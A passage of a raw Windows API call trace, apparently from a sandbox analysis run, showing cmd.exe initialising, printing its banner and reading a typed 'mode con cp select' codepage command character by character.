lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0239.322] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0239.322] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0239.322] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0239.322] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0239.322] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0239.322] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0239.322] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0239.322] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0239.322] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0239.322] GetProcessHeap () returned 0xa0000 [0239.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0xb64d0 [0239.322] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2bfa70 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0239.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2bfa70, lpFilePart=0x2bfa50 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2bfa50*="system32") returned 0x13 [0239.322] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0239.322] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2bf780 | out: lpFindFileData=0x2bf780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0xbb7e0 [0239.322] FindClose (in: hFindFile=0xbb7e0 | out: hFindFile=0xbb7e0) returned 1 [0239.322] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2bf780 | out: lpFindFileData=0x2bf780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45412520, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45412520, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0xbb7e0 [0239.322] FindClose (in: hFindFile=0xbb7e0 | out: hFindFile=0xbb7e0) returned 1 [0239.322] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0239.323] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0239.323] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0239.323] GetProcessHeap () returned 0xa0000 [0239.323] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbad00 | out: hHeap=0xa0000) returned 1 [0239.323] GetEnvironmentStringsW () returned 0xbad00* [0239.323] GetProcessHeap () returned 0xa0000 [0239.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xafc) returned 0xb8aa0 [0239.323] FreeEnvironmentStringsW (penv=0xbad00) returned 1 [0239.323] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a96c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0239.323] GetProcessHeap () returned 0xa0000 [0239.323] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb64d0 | out: hHeap=0xa0000) returned 1 [0239.323] GetProcessHeap () returned 0xa0000 [0239.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4016) returned 0xbad00 [0239.323] GetProcessHeap () returned 0xa0000 [0239.323] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbad00 | out: hHeap=0xa0000) returned 1 [0239.323] GetConsoleOutputCP () returned 0x1b5 [0239.323] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0239.323] GetUserDefaultLCID () returned 0x409 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a967b50, cchData=8 | out: lpLCData=":") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2bfb80, cchData=128 | out: lpLCData="0") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2bfb80, cchData=128 | out: lpLCData="0") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2bfb80, cchData=128 | out: lpLCData="1") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a97a740, cchData=8 | out: lpLCData="/") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a97a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a97a460, cchData=32 | out: lpLCData="Tue") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a97a420, cchData=32 | out: lpLCData="Wed") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a97a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a97a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a97a360, cchData=32 | out: lpLCData="Sat") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a97a700, cchData=32 | out: lpLCData="Sun") returned 4 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a967b40, cchData=8 | out: lpLCData=".") returned 2 [0239.324] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a97a4e0, cchData=8 | out: lpLCData=",") returned 2 [0239.324] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0239.325] GetProcessHeap () returned 0xa0000 [0239.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x0, Size=0x20c) returned 0xb9620 [0239.325] GetConsoleTitleW (in: lpConsoleTitle=0xb9620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0239.624] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.624] GetFileType (hFile=0xf4) returned 0x3 [0239.763] BrandingFormatString () returned 0xb9840 [0239.768] GetVersion () returned 0x1db10106 [0239.768] _vsnwprintf (in: _Buffer=0x2bfcf0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2bfc88 | out: _Buffer="6.1.7601") returned 8 [0239.768] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.768] GetFileType (hFile=0xf4) returned 0x3 [0239.768] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a976340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0239.819] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a976340, nSize=0x2000, Arguments=0x2bfc90 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0239.819] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0239.819] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2bfc18, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfc18*=0x24, lpOverlapped=0x0) returned 1 [0239.819] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bfcb8 | out: _Buffer="\r\n") returned 2 [0239.819] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.819] GetFileType (hFile=0xf4) returned 0x3 [0239.819] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0239.820] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfc88*=0x2, lpOverlapped=0x0) returned 1 [0239.820] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2bfcb8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0239.820] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.820] GetFileType (hFile=0xf4) returned 0x3 [0239.820] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0239.820] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfc88*=0x3f, lpOverlapped=0x0) returned 1 [0239.820] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bfcb8 | out: _Buffer="\r\n") returned 2 [0239.820] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.820] GetFileType (hFile=0xf4) returned 0x3 [0239.820] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0239.820] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfc88*=0x2, lpOverlapped=0x0) returned 1 [0239.820] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0239.820] GetProcAddress (hModule=0x77970000, lpProcName="CopyFileExW") returned 0x779823d0 [0239.820] GetProcAddress (hModule=0x77970000, lpProcName="IsDebuggerPresent") returned 0x77978290 [0239.820] GetProcAddress (hModule=0x77970000, lpProcName="SetConsoleInputExeNameW") returned 0x779817e0 [0239.820] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.820] GetFileType (hFile=0xe8) returned 0x3 [0239.821] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0239.821] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2bfae0 | out: TokenHandle=0x2bfae0*=0x0) returned 0xc000007c [0239.821] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2bfae0 | out: TokenHandle=0x2bfae0*=0x50) returned 0x0 [0239.821] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2bfaf0, TokenInformationLength=0x4, ReturnLength=0x2bfaf8 | out: TokenInformation=0x2bfaf0, ReturnLength=0x2bfaf8) returned 0x0 [0239.843] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2bfaf8, TokenInformationLength=0x4, ReturnLength=0x2bfaf0 | out: TokenInformation=0x2bfaf8, ReturnLength=0x2bfaf0) returned 0x0 [0239.843] NtClose (Handle=0x50) returned 0x0 [0239.843] GetProcessHeap () returned 0xa0000 [0239.843] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbaae0 | out: hHeap=0xa0000) returned 1 [0239.848] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf7f8 | out: _Buffer="\r\n") returned 2 [0239.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.848] GetFileType (hFile=0xf4) returned 0x3 [0239.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0239.848] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7c8*=0x2, lpOverlapped=0x0) returned 1 [0239.848] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0239.848] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a96c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0239.848] _vsnwprintf (in: _Buffer=0x4a95eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2bf808 | out: _Buffer="C:\\Windows\\system32") returned 19 [0239.848] _vsnwprintf (in: _Buffer=0x4a95eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2bf808 | out: _Buffer=">") returned 1 [0239.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.848] GetFileType (hFile=0xf4) returned 0x3 [0239.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0239.848] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2bf7f8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7f8*=0x14, lpOverlapped=0x0) returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] GetFileType (hFile=0xe8) returned 0x3 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.849] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.849] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.849] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.849] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.849] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.849] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0239.849] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0239.850] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.850] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.850] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 